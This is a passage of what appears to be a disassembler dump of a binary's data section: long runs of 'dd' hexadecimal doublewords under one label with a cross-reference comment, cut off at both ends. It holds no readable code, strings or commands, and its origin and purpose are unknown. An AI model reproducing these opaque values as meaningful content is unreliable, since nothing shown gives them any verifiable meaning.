0F588518Ch, 0BD0C4438h, 18C6CAC4h, 14980Dh dd 6350E255h, 686065A4h, 1C0E4891h, 75C16491h, 683074C4h dd 789A3CE9h, 29033A62h, 0E094C9CFh, 90091725h, 21AB40A4h dd 0C2CCA224h, 91C7A440h, 110125Ch, 0B78C0A3h, 840E4DCAh dd 3F5430h, 0A1430CE0h, 0E7E33523h, 0D4840740h, 1917F7F7h dd 252E480h, 7109D91Eh, 82DB0CF4h, 5946860h, 190C90B8h dd 0F33F9A11h, 8016065Fh, 0C2A1787Eh, 72239C18h, 2C6B24C8h dd 0F08BFA09h, 1BB88414h, 0DD473F40h, 831E8F70h, 14031FE9h dd 18EAB01h, 0DB11BFB9h, 0DC7F2041h, 33007084h, 0F28052F9h dd 0F821A5h, 0CB1F6903h, 1C3D3889h, 0B966003h, 0A0E036C7h dd 990E0Fh, 93F6D5D3h, 9B09C4A7h, 6917A4A0h, 81981B4Ch dd 9C826777h, 4B94B040h, 69BD1EC8h, 0EC134147h, 0D1676E85h dd 0A83424C7h, 0EEC6010Ch, 6AC1A0B0h, 10F010D0h, 540326FEh dd 6D412E02h, 6F204046h, 7B4A517h, 0F1393D8Ah, 71182354h dd 3B1CCD53h, 3F34A415h, 4808C8B9h, 3E0E51DCh, 2D758C90h dd 23731698h, 6F7C4974h, 0A1FE7806h, 48C12100h, 751C832Ch dd 68852802h, 7FD90FA8h, 0CEE00BA3h, 0F5296A91h, 62950C03h dd 0B167799Ch, 27F04061h, 0A20707ECh, 85731C70h, 0C408034Fh dd 88122EF1h, 4119BFh, 0A96B238Eh, 958E0ABh, 9C80A239h dd 82A5BC5Fh, 6C040226h, 7F9CB384h, 987488h, 0F90B3BD4h dd 0A45AC4B0h, 0E2320880h, 85522CF6h, 0A867068Ch, 610630D1h dd 4D86C421h, 24365028h, 754B09C1h, 0B8F89C67h, 9199D2Fh dd 0A5542E84h, 0B88577C0h, 410DF022h, 10606BFCh, 0E8637C12h dd 70CD2C45h, 2EC1D84h, 158467B9h, 8FBA1461h, 96BCAD28h dd 87F31404h, 78F69492h, 96C1003Ch, 79838C8Ah, 4B00A3F9h dd 5169B9C6h, 0C3D6D23h, 49A8C455h, 2024C7B0h, 0B50C2CB3h dd 0F434C179h, 0FBBF1F8Ah, 53D70C56h, 144FA4C9h, 5EC40CB0h dd 34908080h, 30E9AD70h dd 0ED004E8Ch, 0CEB29505h, 0D79E94h, 7235F0E3h, 570263FCh dd 0A4A085E5h, 0ECCC1421h, 1D46F604h, 0DAC4B4F3h, 4C48985Ch dd 0B83A163Fh, 80150E34h, 6C501271h, 2A4D78ECh, 609078E8h dd 0C803B58h, 0B0E6EF67h, 0A880516Bh, 0C889FBC8h, 0B70A5B28h dd 0C443B078h, 0F70AE32h, 1CB42AA7h, 0BAD99CC0h, 9F0047C2h dd 21E859DCh, 0C3FEEh, 0D0DF4699h, 9CF1CE0Bh, 67324C04h dd 69006EC5h, 0F3C6724Fh, 376C630Eh, 805AE941h, 0B6351B34h dd 6AA43A9Bh, 0B45FCAh, 6B0BE64Dh, 857E04C2h, 0A4082550h dd 6429974Ah, 1710BCF8h, 15BC66Fh, 93C48D4Ch, 15424ADh dd 284BE136h, 8A9D0094h, 90B2205Eh, 3F009EE4h, 0B9FC9C2Ch dd 4A9423B0h, 672C41B5h, 30C588D2h, 0DE19FE4h, 0BAB75C48h dd 1053C58h, 218B8A09h, 730818AEh, 0A800A428h, 97FFA769h dd 1C932D5h, 5DDC6B60h, 0C7BA4BEEh, 0DD2D1DF8h, 9C161224h dd 0B859CC10h, 0EEBE2478h, 0C1140728h, 0B1B98345h, 0D3E2000h dd 0BA7A9DF9h, 16C00704h, 30EA4F68h, 4CE00C1Eh, 8C256905h dd 0C4C0FFBEh, 1BB922Fh, 27297C90h, 0F0063E1Fh, 217651Dh dd 4CE076A3h, 0E498906Dh, 0F82CB0D4h, 6CDE48D7h, 0E678A08Ch dd 4E04817Eh, 0B4A01F0h, 0C8D05CD5h, 2CB58708h, 1D41F37h dd 9B4A75E9h, 50FDF523h, 0BBCC9AA0h, 8FE89458h, 217045BFh dd 476D18D0h, 288F5009h, 0ED7E149Ah, 9409AC11h, 1420C023h dd 0D08476Ah, 107CC958h, 6B02AF26h, 0C64067EDh, 46F20C40h dd 3C0E3F00h, 8B5AFD83h, 639D01B4h, 67C35CDDh, 4040759Bh dd 4014D440h, 8766D24h, 0B1FC200h, 443D238Ah, 649962D2h dd 1586100h, 83A25367h, 392124A8h, 243CED4Ch, 8F88A047h dd 0C8E60EC5h, 2CC139FAh, 1F102D33h, 44A2AE9h, 0D581F8BBh dd 969F8E70h, 37531281h, 0D368C4B8h, 0C034200Bh, 69188355h dd 18E7B01Eh, 8E1C05BBh, 7641302h, 85C4B580h, 6194D06Dh dd 7C509C2Eh, 2664675Ch, 0B058DDA8h, 22E91671h, 0D8A40AA4h dd 0B297D4E4h, 4BC9F008h, 0ECC40421h, 0E811B25Ah, 9080409Ah dd 283F2872h, 86B49024h, 0B8EF09F0h, 9413D29Eh, 3BD8C191h dd 10118C0Ch, 40304912h, 65677206h, 0B90148DEh, 27D0C34h dd 20ACAA5Ah, 696608DCh, 70D6711Dh, 4A132816h, 23A80002h dd 1C34485Ah, 0D3021877h, 0A1893818h, 0AB1DE20h, 2128670Eh dd 0A09281B8h, 0E0313CAFh, 45242311h, 9824304Ch, 0A8FD08h dd 3E204E68h, 0C4193327h, 0D84865F4h, 0BC39602Ch, 0CC04B327h dd 58CA1B2h, 61FC899Fh, 806C3214h, 3E676BBBh, 6AB8C418h dd 9E78882Ah, 352330C2h, 0E6CCE89Ah, 77A5168Fh, 3FE406ACh dd 9C29A049h, 105EC7Dh, 0A04AB682h, 0D01C8A2h, 2960BCE1h dd 3DA0D428h, 3F4D8E05h, 0BF900230h, 0CA5E6601h, 96B48118h dd 76C197C2h, 0EC346EE4h, 156A014Eh, 0AF771EC1h, 14D8209Ch dd 3E289060h, 96C1C9Dh, 7928350Bh, 0C7631D80h, 32006913h dd 6E47C0A7h, 163D789Ch, 0DBABDB7h, 2C714258h, 7D21050h dd 5B2E0648h, 0F09A2568h, 88617409h, 54C02F12h, 3B82B37h dd 23A9A038h, 300416AAh, 0F90A6773h, 1E2E2802h, 0D81DC8Eh dd 6780608Eh, 6E230C1Ch, 107738A4h, 14AB1067h, 8404B69h dd 0AD7CC4h, 0E1DD97D8h, 549210C6h, 1E5CB20h, 0A30113EDh dd 669EB77Ch, 7345C08h, 0DD8EBD98h, 53EAA3h, 67DCB858h dd 1E4123ECh, 0C05B6C9Eh, 128B917Dh, 0D8D545F7h, 40B19A3Ch dd 0B82EBA11h, 972384ECh, 0DC10803Bh, 7BB0E761h, 1AE070FDh dd 0C24FC607h, 0E22096CEh, 5C7D9507h, 9005F5Fh, 1EC310CFh dd 0A700D924h, 619CB42Bh, 0AEA97D7h, 88301F9h, 0D69660D8h dd 1300E9D9h, 81306FD1h, 3EEF179Eh, 9FB9C35h, 5491232Ch dd 0E7805420h, 0F4004C97h, 71192269h, 0EE1C14FEh, 0C85CE360h dd 8194811h, 7187FF1Bh, 0CCC8C4DCh, 6491DEF4h, 80B53909h dd 239C0F64h, 18AA60D7h, 0B917B0Ch, 0DD9EC000h, 0FE3EFD38h dd 0DB6F02BEh, 67C58BA2h, 500C9AC3h, 70210993h, 334941D9h dd 0F48583Ch, 852A70D8h, 9D0B0BA7h, 671802CCh, 0ECDCF1h dd 0AB1F2429h, 0AC1D873Ch, 4180116h, 3045C240h, 67A8CEE4h dd 30C2E927h, 6A01A9C1h, 0A20505Ch, 0C476EB7h, 5C67416Ch dd 0EC308170h, 0E185C499h, 3884B835h, 860258A4h, 902685Ch dd 2A01FE5Eh, 0ECA863D0h, 90673C81h, 9458AC3Ch, 348FDAB2h dd 2E0C058Ah, 0FD010B1Ch, 0FC913450h, 50449365h, 8A09897Ch dd 0C09D28E0h, 885068A2h, 1A00F098h, 7F349582h, 165C9102h dd 50B97767h, 0A00FC84h, 3370BC92h, 6607C3BDh, 645430E2h dd 846384D2h, 294058D4h, 223F1A2Bh, 0E81B4D00h, 8DC4BFC9h dd 6144B19Dh, 92A3F74h, 4A791830h, 909C24A2h, 0C93E2388h dd 157C0480h, 8413D402h, 6916DB00h, 0F3CECA26h, 0EA09158h dd 0BC01746Ah, 2852B28Dh, 58955C28h, 9E5B10h, 5C8DF7D4h dd 6929C438h, 8C0078E0h, 0A7725ED0h, 0BDC04B00h, 7BC14F69h dd 0C4240CD6h, 7F28475Ah, 6C8F0407h, 32A08D37h, 49CF01EDh dd 9208C28h, 7898120h, 5FD8DA5Bh, 71E4AA80h, 4C00E679h dd 0ECBCBDh, 0C58ECF19h, 50D5C4C9h, 0F043E80h, 9072A58Ah dd 6815D903h, 0BE67D6E8h, 8050A361h, 0FC23137Dh, 0C4B79C02h dd 0ECC886E9h, 400B8EEh, 2F266A74h, 5CB3F5F1h, 0BB0F1CA2h dd 34935FA4h, 2628B3A4h, 1214E06Bh, 0DC5700B4h, 649CB0DBh dd 7E79E6EDh, 8CEB2009h, 9A390504h, 8CCC5069h, 2393156Ch dd 7904E0CBh, 0B40CE767h, 0AF12AC1Ch, 484BB565h, 4F404CB6h dd 6A6C444Dh, 0E002AE71h, 5976DE67h, 1769058Ch, 0D064B011h dd 3BD47440h, 6286CBE1h, 503D45C4h, 25E91300h, 5E47659Ch dd 2AE4F60h, 37667B4h, 954A0A2h, 0E740F2Bh, 0B43796C3h dd 30CB6587h, 8056A584h, 1000CB63h, 0C773D99Bh, 120CC41Eh dd 50810274h, 0B72370FCh, 0C4232702h, 8FACE06Dh, 1CC1075Ch dd 50CCCAA2h, 516A59A4h, 7944AC94h, 0B6051908h, 0B4E60D3Fh dd 6FDE3860h, 0AF5D1FE6h, 0D18A1734h, 0D24EDC40h, 2774B255h dd 0C402DD8Ch, 45001D40h, 9EA25723h, 0D77562A8h, 5C65D872h dd 0BCE09129h, 0EDA43C97h, 3DE98DCh, 0A7DEF4B0h, 1105E916h dd 610B5CD0h, 7B9C282Fh, 0D597287Ch, 931C2E5Ch, 0A0D6166Ah dd 414A78F8h, 0C000CC16h, 0C5B716F7h, 0C0DF000Bh, 4740D8AAh dd 0FC14B9F8h, 24E0F496h, 0C4C13815h, 68818FEAh, 0DCB6FEA7h dd 98C47B64h dword_4E414C dd 3FD68440h, 3A5603FFh, 0EA062D66h, 0B00B9714h, 8585207h ; DATA XREF: ___:off_43A840o dd 0CF8092ECh, 1767B550h, 1D29154Bh, 13048AF8h, 428B1384h dd 653C80A4h, 0E8CB0846h, 0AC4C846Ah, 23788E0Dh, 0FDD310C4h dd 733BC101h, 0C87A0A3Fh, 0C4F0A360h, 0E4466724h, 0D00BA587h dd 95C7CEC4h, 3B56DCC3h, 1895F18h, 0A461990Dh, 46802061h dd 0A5BD2B0Fh, 0A2130169h, 0D455CCD2h, 0C414704Ah, 34080E93h dd 0D9BB1216h, 2D3C3090h, 0F8043706h, 1D848A15h, 1A3DFB64h dd 0B0A2F08Bh, 306E9EB4h, 9908EC8Ch, 20AAD23h, 4E6A5CA4h dd 60CFCC98h, 26C3780h, 29E0B7CEh, 38C01A23h, 0B128C484h dd 90ED0F0h, 0AB79B533h, 0B988848Ch, 1D55D283h, 0BED29048h dd 371DBB0h, 9A000FF4h, 5AF27FDAh, 9653C45Dh, 0E4AD07D0h dd 0E5D28370h, 7C711009h, 21501158h, 25F5437h, 0D013239Ch dd 520BF0ECh, 941BB2h, 0EE58747Ch, 24B91CF6h, 0D43065A2h dd 0B45C2DBFh, 80210EB0h, 0A000179Ch, 76B5C0D6h, 0E15806DCh dd 30E64A23h, 8D316E0Fh, 6999802Fh, 24E21252h, 8206571h dd 2E00FDAAh, 9B645E95h, 0C5B0AC6h, 3E87FFBh, 648D79Dh dd 641CDC98h, 43239613h, 49FCD0A0h, 295B8C75h, 2CF2E980h dd 0DAD707DCh, 24106CA0h, 34B9667h, 32FBB8BCh, 9898086Ah dd 0CB0CEBFAh, 58DA7423h, 76092445h, 8BB08964h, 26C1481Bh dd 0CFC429BFh, 2029969Ch, 4858A82Ch, 4931EB30h, 0DE2CCF4Ah dd 89032557h, 0E0E71796h, 7AF38051h, 77A40432h, 0A961FA02h dd 0E5C208F4h, 36FB00F2h, 5B606A98h, 4A10CD3Bh, 0A6C06884h dd 0EFCA93h, 18BFD342h, 2A476CB6h, 17E30302h, 0E8EC6B90h dd 649BC4ECh, 8122A839h, 88EF4D60h, 7735EF1h, 8970C547h dd 0ACFB1052h, 83849C10h, 0B490D246h, 18039813h, 0F9ECBBBDh dd 8091D399h, 7826688h, 82C30239h, 0ECE89578h, 62249A03h dd 0C7004141h, 4492B1A4h, 4B133C69h, 32BCB93Ah, 0C6830D80h dd 31A9609Ch, 6247DE00h, 11AF771Dh, 860C1EB5h, 0E441A502h dd 481F6F8Bh, 1F677702h, 0E48F055Fh, 7175C130h, 0A0306958h dd 7825D823h, 119300E9h, 3D6C9D85h, 44981927h, 0D9C379F8h dd 2E408A23h, 81D47228h, 4B8F8EFCh, 3A940C4h, 542A67BEh dd 294EF489h, 38819825h, 0EC74A4B8h, 97AA4096h, 0D7FBF01h dd 4BA2F80Bh, 0A020BCDDh, 12E5E41Fh, 495BC446h, 60704740h dd 0B0777A20h, 19009ACh, 548A9C0Ch, 0A8C6E9ECh, 96C19D00h dd 1162B7B4h, 0E4293667h, 451DF818h, 7212A41Eh, 0B0600CE4h dd 0D9CD247Dh, 0A5A10DD0h, 0E71880EEh, 0EA7C518Dh, 3F771221h dd 4888D92Ch, 5D5A338Ch, 350B4020h, 0EEE069h, 3FC83B7Ah dd 33F17CFEh, 76BF9F0Fh, 8B21E213h, 0DC3CE0BBh, 0DEE1F61h dd 0E311BCDEh, 5C005F1Fh, 9FCD519Ch, 3FF40021h, 0DC120822h dd 0BC070B8Ah, 71F884F9h, 402602C2h, 5B97E5h, 14C917E6h dd 2328C776h, 0E0387828h, 549FCB1h, 0CF0B034Ch, 0D9D400B0h dd 959EEFB7h, 0DE0BAC02h, 7F078444h, 819C8E0Ch, 0BEB26890h dd 94BB2EA3h, 21100039h, 0E40B1269h, 0AB788C00h, 840A7F05h dd 6A9707CEh, 7F13701Bh, 5308C4E3h, 807E503Ah, 0EE6D9D92h dd 0C02EFE23h, 335C9CA0h, 69F2A158h, 6006EF4h, 3F5B556Fh dd 7E5E927h, 0ED8B196Ch, 0B068F467h, 204C2C40h, 0D81B2CA4h dd 40716217h, 9E084F69h, 0B805E498h, 6718E66Ah, 10E0D851h dd 5F25F5F8h, 0C47E3064h, 0A448B568h, 39A08903h, 0F102857h dd 0E0F50098h, 3A94D27Dh, 7348C280h, 91230CD0h, 9570A0h dd 49FE8B2Dh, 0B070F6ABh, 85C59C3Ch, 6784FB65h, 10CC40FFh dd 91224C0Bh, 5CA74716h, 0C1D01489h, 1F13EAA6h, 0BBC4F789h dd 7CB8D8C0h, 5267F50Ch, 50E9B899h, 14E845h, 0C1E7FB72h dd 80177615h, 0A89E4679h, 1EC58B08h, 0B841C29Ch, 78E8E20Fh dd 54162F0Dh, 741E5278h, 7EE3C8C1h, 9C8F6934h, 0CC0BEC2h dd 9D283F6Eh, 9EB02002h, 0F1B3AEA4h, 0B828BCh, 0FE08CB98h dd 9CB8F646h, 0DA996300h, 25BA2AFCh, 1840C078h, 5B57AF23h dd 7EE8F75Ch, 0B67F3902h, 603F6F17h, 179E0BB8h, 678C32Dh dd 0C16E3E64h, 98606428h, 0E7019D75h, 235DB0Ch, 0C82585EBh dd 940820h, 0B9C0C54Bh, 9E40C444h, 4A011280h, 4F80BA6h dd 0B7088CD4h, 0E5A40458h, 0DACA2B9h, 10D13A23h, 0FCDDC404h dd 628BB440h, 235B0BD4h, 2022AE5Dh, 0DD25B8AAh, 3C83C485h dd 9A4CB84Fh, 7A68F0BAh, 0FAB002Eh, 67CA6B8Eh, 0D49CF32Ch dd 0C8DD0162h, 2A68F7Ch, 7357F79Eh, 52098Dh, 355EDCB0h dd 0C0E5056h, 0BF3941F1h, 3BE788C4h, 528027A1h, 0DB0BECD5h dd 0C9028155h, 0E6011072h, 0A3841C8h, 1FB80C60h, 8FA22CBh dd 0A405122Dh, 6091ADB0h, 8004B9AFh, 9FCB8D25h, 8705F5Ah dd 1743DF0Bh, 2F8F70h, 0A25575E4h, 6604D188h, 833801F9h dd 0BC140013h, 8FCEC3A1h, 25232A13h, 0DD06401h, 2FE0D91Fh dd 48C0A6DDh, 487D8D6h, 9C23118Fh, 6A1089C8h, 0C4FE832Dh dd 4233C21Ah, 3F882088h, 571FDFAh, 0CC232BE5h, 86D8439Bh dd 0F1FD99C5h, 0CA940260h, 52098309h, 70F19A21h, 18ED7A50h dd 1A7F6D54h, 680E49DFh, 65DE356Ah, 0BCC3F5D2h, 1CA8CC24h dd 0BA746100h, 1AC1CBFFh, 3039762Eh, 0CC9AA204h, 0F00128E0h dd 9EA480ACh, 9470FD52h, 959100D8h, 40FBC949h, 0AAD930C4h dd 420109A0h, 60B4CCA9h, 0C0B4E7D8h, 2A3C88h, 613A8EBDh dd 0D249A214h, 939AC154h, 33B2D23h, 0F83F76A8h, 0C80D38D8h dd 15F38B01h, 629239Bh, 833C272Eh, 30012652h, 19054AC4h dd 22C0A7D6h, 0F86B6073h, 5375676Dh, 55CD98A8h, 57E2409h dd 0BB00C839h, 4D9602DAh, 370B80F4h, 2C4BDC49h, 0E5100014h dd 6757E1AFh, 48B46B3Fh, 0D0C8F86Ah, 0C7809E22h, 0BB3B2C26h dd 42A419A4h, 71BC82E0h, 7D019902h, 0D240B4AEh, 0B766FC8Fh dd 0BCE004FFh, 9A482067h, 0CB0C911Eh, 1F7D0284h, 89291105h dd 3B6080DCh, 63A3DDFFh, 9DF8BAC2h, 6710AC94h, 6104CFFDh dd 0E8346B32h, 0C4428134h, 108BA950h, 0D04C18A6h, 7BE83CA3h dd 740944E9h, 50600114h, 44B15AE0h, 0FD13578h, 0D40FF75Eh dd 0A7DFC07Ch, 19476A4h, 0A5FE2767h, 28E6C485h, 2B3F0F38h dd 0F4041CD3h, 0F092CD6Ah, 97C100D9h, 89267712h, 82000835h dd 63A91457h, 61FFF0CBh, 17231181h, 947880EBh, 0FC569B80h dd 9F95FAEh, 283092FCh, 0CD27010Dh, 0C6AC6275h, 7F7D01B8h dd 0C1B224AEh, 4265E11Dh, 84B89208h, 0FC9C70D5h, 1CCC2AA5h dd 4CEC0106h, 0DC0C1E50h, 23DF0C1Ah, 249EB710h, 2331BE4h dd 0ACB8F4h, 615FA5BBh, 0BF95C446h, 20C5088Eh, 0FAA498B3h dd 0E4453C09h, 6DD498D3h, 4150046h, 239716BFh, 0D9C00E3Ch dd 1DA86478h, 526900C4h, 0F317DA8Bh, 933D6F24h, 0A46C850Bh dd 1CC22A41h, 80B70492h, 70DCAF3Ch, 10240A59h, 2624C0A7h dd 41183C72h, 0D7510D9h, 4509F096h, 233068D5h, 0C8A4EBh dd 0B83CF890h, 0A4B31FAFh, 6223E4F1h, 976D2440h, 4D61DC90h dd 6C28C426h, 3B0C3F80h, 0B8D55F71h, 387E4E0h, 0F2A72590h dd 99DBC4B8h, 4E6D2802h, 0C89ED023h, 177A7C60h, 135667h dd 0DAACBC98h, 0EA5BC4A6h, 10BF8003h, 0A1EEC1B5h, 1392E84Ch dd 4719C56h, 19A1E0Ch, 0AD0158B9h, 0E084043Fh, 7C71003Fh dd 2516B878h, 0FCE090D9h, 5890C3AEh, 0A240D317h, 0DBC42A03h dd 103002BFh, 9DD42399h dd 7664C8A0h, 0A809C6A1h, 0EA98BF93h, 0CFFC70F0h, 0DA85C320h dd 415285C7h, 0E24ED420h, 2A04FD0Ch, 0DF7560C2h, 9DBB4000h dd 64F9A0C9h, 9A0409F0h, 0E9FC6D06h, 840294F9h, 0A1E64D30h dd 0C070786Ah, 0C4320804h, 94ECD62Bh, 84B4D100h, 1A033F1Bh dd 0C3E60404h, 54C1DF0Dh, 1078B286h, 0E410948Bh, 47240188h dd 4E9900Ah, 30F29780h, 5722F91Ch, 0E4453D5h, 0E642212Ch dd 0E4797E97h, 24DE0A17h, 2D44082Ch, 0C4B9B4E0h, 18C22930h dd 3041E68h, 4F6017C5h, 27CB163Fh, 0CADA6683h, 67417C7Eh dd 0D02F735Ch, 0CE02C72Ch, 40EA2325h, 0D19464h, 0BF688FDBh dd 6B9CB325h, 0CBC7AE04h, 9CF4CA4Dh, 1EBC2023h, 0C8B1044Eh dd 39AC060h, 7EB82FDAh, 82951C6Eh, 28D57A58h, 6820CC84h dd 376CB700h, 6C8653Fh, 871B0169h, 1CC405A5h, 0E0343083h dd 1D8BC45h, 90475991h, 0B75D007Eh, 0FBFD3FB3h, 8D07CE3Ch dd 0EBF51D6Ah, 60C0D1F4h, 0C62381h, 7239619Dh, 6895FC3Fh dd 77F8627Eh, 78919B64h, 2A88D4B8h, 86CBD11h, 9C019BA0h dd 3AFBE3F0h, 0B424F3C4h, 74829D0Eh, 0F444ED45h, 0BB3B2176h dd 51DE02C3h, 0F92BF002h, 0F2B4A85Ch, 2467806Bh, 710BD6E2h dd 5BBF039Bh, 186786F0h, 8004107Ch, 88BC12AAh, 5933BD80h dd 0B713014Ah, 677824C1h, 3CEC6C96h, 4C64C86Ch, 256C4264h dd 4074C469h, 4B05B0Ah, 0F0C5B74Eh, 0C643810h, 38E2D7C4h dd 40ACFC17h, 6873DA36h, 9CC9251Dh, 982BE7Eh, 0D22A2916h dd 0A9490038h, 0E7E30B9Eh, 1A58AFABh, 36A50048h, 0C34BD889h dd 4E6900B8h, 73FB82F9h, 212881Ch, 30B3B5F8h, 7EACC482h dd 0CEBB7C74h, 3531C020h, 0F52013BFh, 0D024E1ABh, 5D13A4BDh dd 84C84D6Ah, 98FCB865h, 0C0944E44h, 0A932FC8h, 212E71F4h dd 0B8129CEAh, 717C8314h, 26455540h, 6184D0A6h, 51D762C4h dd 230FCD8h, 264C796Ah, 98B39678h, 20FF2ED0h, 970E8FCCh dd 8F6810A6h, 0F9CF8E15h, 3D08DCF1h, 9E902A17h, 0E4051812h dd 0F4F4BF9Ch, 0CED42D22h, 352DC420h, 139C394h, 0E4BE2561h dd 2FA4E47Ch, 249B6A58h, 12D081F4h, 2011B217h, 74C01252h dd 0C9097FADh, 86C6A6CEh, 9811A9B4h, 4A8988Ch, 8DC456F9h dd 41C0886Fh, 93BA0D40h, 0F6529230h, 76C862A4h, 0A3AB0085h dd 0ED2F30C1h, 5FECC8C5h, 3F2603CCh, 0BA761C7Ch, 7FFC75A1h dd 11041C21h, 0A8C0069h, 19485BD0h, 0E458275Ch, 0ED8D2248h dd 5A31CC20h, 0A9BC91F4h, 42230020h, 7348C0EDh, 5B42BAEh dd 15297464h, 0D70A0h, 79D7553Bh, 59DD38FBh, 0DE0CE100h dd 7214C0AEh, 90181DA6h, 9F80840Dh, 80FCF8FFh, 67DD9939h dd 0C43C01EEh, 79A497D8h, 64316EB1h, 3024520Eh, 0FEBF0B8Fh dd 0A6091615h, 0EF2094A0h, 9100037Fh, 84D7809Ch, 9FBEB67h dd 0ED58DC39h, 87A8D0A1h, 2F04217Bh, 239D9000h, 99E9261Eh dd 80404964h, 45800B15h, 0F4F55C5Bh, 886B0214h, 0D284805Dh dd 26021FAFh, 0A9DF2C4h, 96C107B2h, 2E3ED0F0h, 5B03F3A3h dd 0E50102DDh, 63303F17h, 5F3814BCh, 0F3CE59E0h, 593F1972h dd 0D7043A9Fh, 66DC00E4h, 67E55BE1h, 20899D3Ah, 16F8E608h dd 0C24A2B9h, 8993BBC4h, 6FB61219h, 1BCC8830h, 0E5397712h dd 219CCD2h, 0F07A805Fh, 0BB00F4B8h, 1E91AD94h, 41306705h dd 3C913058h, 0C4584661h, 3870F998h, 7C9A80BFh, 3842ED4Fh dd 0E15BD823h, 7C307448h, 3EE3001Ah, 0D78EA227h, 0C41A41C0h dd 0D6987CA4h, 0C4545ABCh, 6700B771h, 10C0B23Ch, 0F8F72193h dd 0FD2327AAh, 693F8480h, 0CC90B20Fh, 922393Ch, 89B61B47h dd 0D1D8A15Bh, 0C6F72337h, 89389460h, 800451Ah, 8D2FE66Eh dd 93F31116h, 0E84D9800h, 1AF5860h, 76A4B513h, 82057002h dd 45ED5BA0h, 0B064C4DDh, 0CB8F0034h, 283F66ACh, 213E4C78h dd 41C20788h, 67A1E384h, 0C080A1A5h, 137446B9h, 0F076D79Dh dd 0B815DA30h, 3D776A1Ah, 34B401E4h, 0C528A868h, 0E020ED41h dd 91075423h, 1498B998h, 58C41011h, 7064C09Dh, 0E20C0728h dd 102568ABh, 9DB515AEh, 22EA6301h, 747867F0h, 0E501D879h dd 0C47557D9h, 0C096B23h, 202450AFh, 0B898E149h, 26675A00h dd 0F0D3DAC7h, 0C900447h, 0D05D0270h, 0AB8EBC24h, 0C448F206h dd 4E48F89Eh, 166C5208h, 60687740h, 9462356Ah, 2C9925Ch dd 3BE61B2Dh, 9060C9D2h, 0EE003428h, 0D4BFAA0Ch, 772EA1FBh dd 0E52594CAh, 0DA6B02CCh, 58561767h, 0D4039305h, 0A67678F0h dd 44E54F14h, 0EBA1E84h, 2794013Fh, 3220BF53h, 8AE60DDFh dd 8068675Dh, 45E4BD38h, 2C5F9551h, 0BA7CB07h, 70E08FC4h dd 0D1093337h, 0DEB9C361h, 4191128Ch, 0C4C190B4h, 0F05EC684h dd 6EB04541h, 718F7828h, 8090253Dh, 0B53C25h, 4F80D820h dd 98FE814h, 0EB65DCB2h, 7C1FD0DEh, 502874A4h, 8E8830E9h dd 70B295h, 2B30D8A0h, 8A090439h, 81FA7AD9h, 0FF0CC688h dd 28614800h, 0F0AF3FDEh, 0D86C07B8h, 4010E331h, 0AE071B69h dd 0B08244D7h, 0A054C2C2h, 94A7A310h, 0E9E41F83h, 0FBF70C34h dd 2F030D18h, 0A396068Bh, 7FB5E7BEh, 0FED54D2h, 1FF9CA4Ch dd 10440348h, 9801596Ch, 2A9E75DCh, 0B03890B4h, 0B6FFBF09h dd 0A4BC60C0h, 0C4EE5E27h, 432208Ch, 0A56B9D28h, 68B48A1Fh dd 15BE99C0h, 0BC530123h, 917B0CF8h, 0B65DB2C0h, 5ABE1094h dd 0B0629C27h, 0F4917850h, 72488E25h, 60892613h, 51182B2Fh dd 0C41000ECh, 51D4A4CDh, 781C0280h, 0F131F02h, 0EC5EDCE0h dd 0BF0EDD0Dh, 477033FBh, 3490C055h, 0B77824BAh, 0B736C00h dd 0F9C08E35h, 6B13C78Bh, 13ECB160h, 0F80C01EAh, 24AD7EC4h dd 0D9000E68h, 0BA2A04Bh, 4D75C8h, 1BFDFD1h, 285A4B7h dd 7092935Ah, 880C560Ah, 2800650Eh, 0F6DB26Ch, 209D7C3Dh dd 161EE309h, 4F1E2461h, 258493A2h, 0F567E411h, 0D644286Dh dd 1509B0E2h, 18413976h, 4090494Ch, 9E676E10h, 0BE02848h dd 4395D95h, 0D4087874h, 405AB316h, 72E442B1h, 6D01126Ch dd 0E454239Dh, 330058BEh, 0DE89AEEAh, 0C00BA5h, 0CFA7095h dd 9B9A2E3Fh, 5A12EFE4h, 640713C2h, 3B20872h, 0C4F0DEBFh dd 0A034C7h, 90052D3Dh, 0DCD864A3h, 6498A9E3h, 0CB070BEBh dd 2FC5739Bh, 49940162h, 0F06003A0h, 550E3780h, 3C14E911h dd 0A0CC114Ah, 6081241Ch, 610F042Ch, 0BC38842Bh, 9075E728h dd 3001E8A0h, 0BC1854A6h, 6364BAC4h, 10AD1230h, 1B807196h dd 745C7F08h, 4AD94C8Bh, 9C3068CCh, 4570BE12h, 20E4B523h dd 52F689E0h, 2529DA00h, 0D2083F1Ah, 8E723E65h, 88114512h dd 0E612D9B0h, 7A03A6C3h, 0E0516A61h, 7BCFCEB4h, 41E15FC4h dd 0A45B2E8h, 0B0A2D2C2h, 83C16ABCh, 14B0A65Ch, 87F2000h dd 4B3B458Eh, 305889A0h, 681748E4h, 1401D8B9h, 8F0C7FEEh dd 77B63840h, 0C41B0860h, 7F0058E0h, 860C8801h, 9DAE7D81h dd 69EA7C9Bh, 9021442Ah, 0C8F48F13h, 0DA414033h, 2F17F107h dd 6B1C489h, 0F435D619h, 6980326Ah, 602DB859h, 609C2334h dd 660C10FBh, 0C412BF96h, 0F0B57E67h, 0A2E6FC03h, 67479A2h dd 1057A767h, 33D12F01h, 0EA11B1C0h, 2081D3Eh, 1CD99BFDh dd 8F65F490h, 0EF15D06h, 809015E9h, 5F239308h, 2812B0h dd 0FA855F3Ch, 123BC505h, 0E0EA2776h, 826E0A70h, 0D428F856h dd 9D80DCB3h, 0F467C003h, 3010C961h, 16DE5498h, 44C36B5Bh dd 95B90586h, 0F166EF23h dd 46D9FC20h, 9DF08401h, 0BCC6C4BAh, 306658A5h, 0A4F12317h dd 0AC4C0CE3h, 0B343228h, 0E76AC4BBh, 6400F8DAh, 8B955604h dd 7BE910CDh, 0C1A60044h, 801779F4h, 10972978h, 5F239B2Ch dd 72BC00B6h, 648A010Ch, 8B6780h, 4A579F3h, 58DEEE8Eh dd 0B67FEF1Eh, 66029602h, 20B444B1h, 0A59DA162h, 4F814D8h dd 394A0D7h, 467BA17h, 0BC977040h, 24B72D95h, 443558h dd 0ED66DC8Dh, 0BD00C54Bh, 4863C3E5h, 5FA8F9Eh, 0C4B1EA06h dd 0E38D086h, 4A6B4E01h, 0A4341080h, 3CF5597Ah, 3E5A4D10h dd 7926F223h, 65AD140Ch, 358F9230h, 9D4A84Ch, 506BAAD6h dd 0BC209DC8h, 0E153239Ch, 0E77AC4A8h, 3EF42200h, 2D6AAD0Ah dd 0DA0C047Dh, 0EC4401F7h, 0AFA43C98h, 0BCF890E4h, 28D50291h dd 72672130h, 